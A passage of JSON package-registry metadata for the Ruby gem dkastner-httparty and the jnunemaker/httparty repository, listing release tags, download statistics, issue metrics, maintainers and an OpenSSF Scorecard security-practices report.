rl":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"d160df6c3b21a384cfcc68c0ffd23dc6c168b68d","kind":"commit","published_at":"2010-06-13T15:43:43.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.6.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.0/manifests"},{"name":"v0.5.2","sha":"03852d246bc1482150e92c23115e02e1de4930fb","kind":"commit","published_at":"2010-01-31T23:39:28.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"c3cefc223aca504072951cabf17e17cd88a5780c","kind":"commit","published_at":"2010-01-31T03:31:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"94601fe05efeb2fbd001e9830b4f9ec522ad2250","kind":"commit","published_at":"2009-12-08T02:59:52.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.0/manifests"},{"name":"v0.4.5","sha":"7443e42395e00ddaee362586471ae948eada4a76","kind":"commit","published_at":"2009-09-13T03:14:01.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.4.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.4.5/manifests"}]},"repo_metadata_updated_at":"2026-04-27T18:03:04.832Z","dependent_packages_count":0,"downloads":5590,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":65.59411293985336,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":21.864704313284452},"purl":"pkg:gem/dkastner-httparty?repository_url=https://gem.coop","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/rubygems/dkastner-httparty","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/rubygems/dkastner-httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/rubygems/dkastner-httparty/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-04-23T16:06:51.925Z","issues_count":69,"pull_requests_count":109,"avg_time_to_close_issue":20359214.911111113,"avg_time_to_close_pull_request":34382867.37755102,"issues_closed_count":45,"pull_requests_closed_count":98,"pull_request_authors_count":59,"issue_authors_count":69,"avg_comments_per_issue":3.5942028985507246,"avg_comments_per_pull_request":1.6697247706422018,"merged_pull_requests_count":63,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":7,"past_year_pull_requests_count":17,"past_year_avg_time_to_close_issue":4007655.5,"past_year_avg_time_to_close_pull_request":1195047.7272727273,"past_year_issues_closed_count":4,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":11,"past_year_issue_authors_count":7,"past_year_avg_comments_per_issue":2.2857142857142856,"past_year_avg_comments_per_pull_request":1.5294117647058825,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":2,"past_year_merged_pull_requests_count":8,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/issues","maintainers":[{"login":"TheSmartnik","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/TheSmartnik"},{"login":"jnunemaker","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}],"active_maintainers":[{"login":"jnunemaker","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/dkastner-httparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/dkastner-httparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/dkastner-httparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/dkastner-httparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/dkastner-httparty/codemeta","maintainers":[{"uuid":"15298","login":"dkastner","name":null,"email":null,"url":null,"packages_count":61,"html_url":"https://gem.coop/profiles/dkastner","role":null,"created_at":"2025-10-07T15:53:00.942Z","updated_at":"2025-10-07T15:53:00.942Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/dkastner/packages"}],"registry":{"name":"gem.coop","url":"https://gem.coop","ecosystem":"rubygems","default":false,"packages_count":190389,"maintainers_count":67476,"namespaces_count":0,"keywords_count":0,"github":"gem-coop","metadata":{"funded_packages_count":6507},"icon_url":"https://github.com/gem-coop.png","created_at":"2025-10-06T17:24:20.932Z","updated_at":"2026-04-03T06:45:05.763Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/namespaces"}},{"id":191657,"name":"dkastner-httparty","ecosystem":"rubygems","description":"Makes http fun! Also, makes consuming restful web services dead easy.","homepage":"http://jnunemaker.github.com/httparty","licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":[],"namespace":null,"versions_count":1,"first_release_published_at":"2012-11-16T21:34:17.937Z","latest_release_published_at":"2012-11-16T21:34:17.937Z","latest_release_number":"0.9.0","last_synced_at":"2026-04-27T18:02:42.324Z","created_at":"2022-04-05T20:55:41.259Z","updated_at":"2026-04-27T18:03:04.818Z","registry_url":"https://rubygems.org/gems/dkastner-httparty","install_command":"gem install dkastner-httparty -s https://rubygems.org","documentation_url":"http://www.rubydoc.info/gems/dkastner-httparty/","metadata":{"funding":null},"repo_metadata":{"id":418269,"uuid":"37997","full_name":"jnunemaker/httparty","owner":"jnunemaker","description":":tada: Makes http fun again!","archived":false,"fork":false,"pushed_at":"2026-03-04T15:48:24.000Z","size":1597,"stargazers_count":5889,"open_issues_count":43,"forks_count":970,"subscribers_count":59,"default_branch":"main","last_synced_at":"2026-04-12T03:36:33.349Z","etag":null,"topics":["http","httparty","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jnunemaker.png","metadata":{"files":{"readme":"README.md","changelog":"Changelog.md","contributing":"CONTRIBUTING.md","funding":null,"license":"MIT-LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-07-28T20:55:11.000Z","updated_at":"2026-04-10T06:17:10.000Z","dependencies_parsed_at":"2025-12-07T21:04:48.943Z","dependency_job_id":null,"html_url":"https://github.com/jnunemaker/httparty","commit_stats":{"total_commits":1051,"total_committers":254,"mean_commits":4.137795275590551,"dds":0.6527117031398668,"last_synced_commit":"f0c42a7198c9357f0d95633e46512c92769f6476"},"previous_names":[],"tags_count":64,"template":false,"template_full_name":null,"purl":"pkg:github/jnunemaker/httparty","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/sbom","scorecard":{"id":274025,"data":{"date":"2025-08-11","repo":{"name":"github.com/jnunemaker/httparty","commit":"bcc3e50c0a0b0259a201caa390875081b6c72a89"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Code-Review","score":2,"reason":"Found 6/26 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":2,"reason":"2 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Info:   0 out of   1 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE:0","Info: FSF or OSI recognized license: MIT License: MIT-LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 11 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T14:02:06.521Z","repository_id":418269,"created_at":"2025-08-17T14:02:06.521Z","updated_at":"2025-08-17T14:02:06.521Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31749763,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-13T09:16:15.125Z","status":"ssl_error","status_checked_at":"2026-04-13T09:16:05.023Z","response_time":93,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jnunemaker","name":"John Nunemaker","uuid":"235","kind":"user","description":"Programmer.","email":"","website":"http://johnnunemaker.com","location":"US","twitter":"jnunemaker","company":"@fewerandfaster and @boxoutsports ","icon_url":"https://avatars.githubusercontent.com/u/235?u=34ccc0c78404a1a5fed94fd9329345621da530fb\u0026v=4","repositories_count":74,"last_synced_at":"2023-04-09T03:48:45.004Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/jnunemaker","funding_links":[],"total_stars":9248,"followers":null,"following":null,"created_at":"2022-11-02T16:17:19.724Z","updated_at":"2024-03-25T17:25:34.595Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker/repositories"},"tags":[{"name":"v0.24.2","sha":"9c89e55ce3578b393e17b2928acab5b5f941e808","kind":"commit","published_at":"2026-01-14T22:53:56.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.2/manifests"},{"name":"v0.24.1","sha":"906aab0de3d41129c0003f582f57fd30b970056a","kind":"commit","published_at":"2026-01-14T22:44:07.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.1/manifests"},{"name":"v0.24.0","sha":"55ec76e8d1df7903eab3f7c2367991400d3cf65e","kind":"commit","published_at":"2025-12-28T21:37:53.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.0/manifests"},{"name":"v0.23.2","sha":"c74571f7925c8e142d02c2b7d6ebeedf923b1dd1","kind":"commit","published_at":"2025-10-07T21:53:15.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.2/manifests"},{"name":"v0.23.1","sha":"9417ce158d732fecc753c656accb59c470cfb6f8","kind":"commit","published_at":"2025-03-28T18:28:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.1/manifests"},{"name":"v0.23.0","sha":"891a4a8093afd4cacecab2719223e3170d07f1c0","kind":"commit","published_at":"2025-03-27T14:45:51.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.0/manifests"},{"name":"v0.22.0","sha":"6e1f154309a6076208ba9bec8e4183ec619541e0","kind":"commit","published_at":"2024-04-29T12:26:07.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.22.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.22.0/manifests"},{"name":"v0.21.0","sha":"e731057ebc297eb8a750e866b7762e869dea3087","kind":"commit","published_at":"2022-12-30T21:05:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.21.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.21.0/manifests"},{"name":"v0.20.0","sha":"32c57d91581fd91cf1ed429c24cf410528934a9c","kind":"commit","published_at":"2021-09-29T13:04:39.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.20.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.20.0/manifests"},{"name":"v0.19.1","sha":"0d20a4f8225a653ab306d4994cf737e4fdf2b7d4","kind":"commit","published_at":"2021-09-29T12:39:12.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.19.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.1/manifests"},{"name":"v0.19.0","sha":"b4213368675a8dd7f45e443fd9b8c3f7edb1eee1","kind":"commit","published_at":"2021-09-09T14:57:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.19.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.0/manifests"},{"name":"v0.18.1","sha":"0e8b82730a143c07c919bb8773f017338f637016","kind":"commit","published_at":"2020-06-10T18:40:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.18.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.1/manifests"},{"name":"v0.18.0","sha":"b4aba417a502342b1f6940c711e155b8eb8c3951","kind":"commit","published_at":"2020-02-19T16:09:45.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.18.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.0/manifests"},{"name":"v0.17.3","sha":"689e64bb2db0ad454b89519ecd5e2fcfee74c90c","kind":"commit","published_at":"2019-12-16T14:40:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.3/manifests"},{"name":"v0","sha":"689e64bb2db0ad454b89519ecd5e2fcfee74c90c","kind":"commit","published_at":"2019-12-16T14:40:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0/manifests"},{"name":"v0.17.2","sha":"aec466f984fc178257efffcc922c0c559baea5ae","kind":"commit","published_at":"2019-12-16T11:30:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.2/manifests"},{"name":"v0.17.1","sha":"47c8b2529b999e74bdc5fa80537dfe96276deec2","kind":"commit","published_at":"2019-08-30T16:11:48.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.1/manifests"},{"name":"v0.17.0","sha":"b4099defba01231d2faaaa2660476f867e096bfb","kind":"commit","published_at":"2019-04-20T14:07:45.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.0/manifests"},{"name":"v0.16.4","sha":"7b2ad805a5bcc80dc4b06b542dd6de161e5cd95b","kind":"commit","published_at":"2019-02-05T15:39:33.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.16.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.16.4/manifests"},{"name":"v0.16.2","sha":"da1b1ad1d67be214b0e7a587edf84a4bc5a5e793","k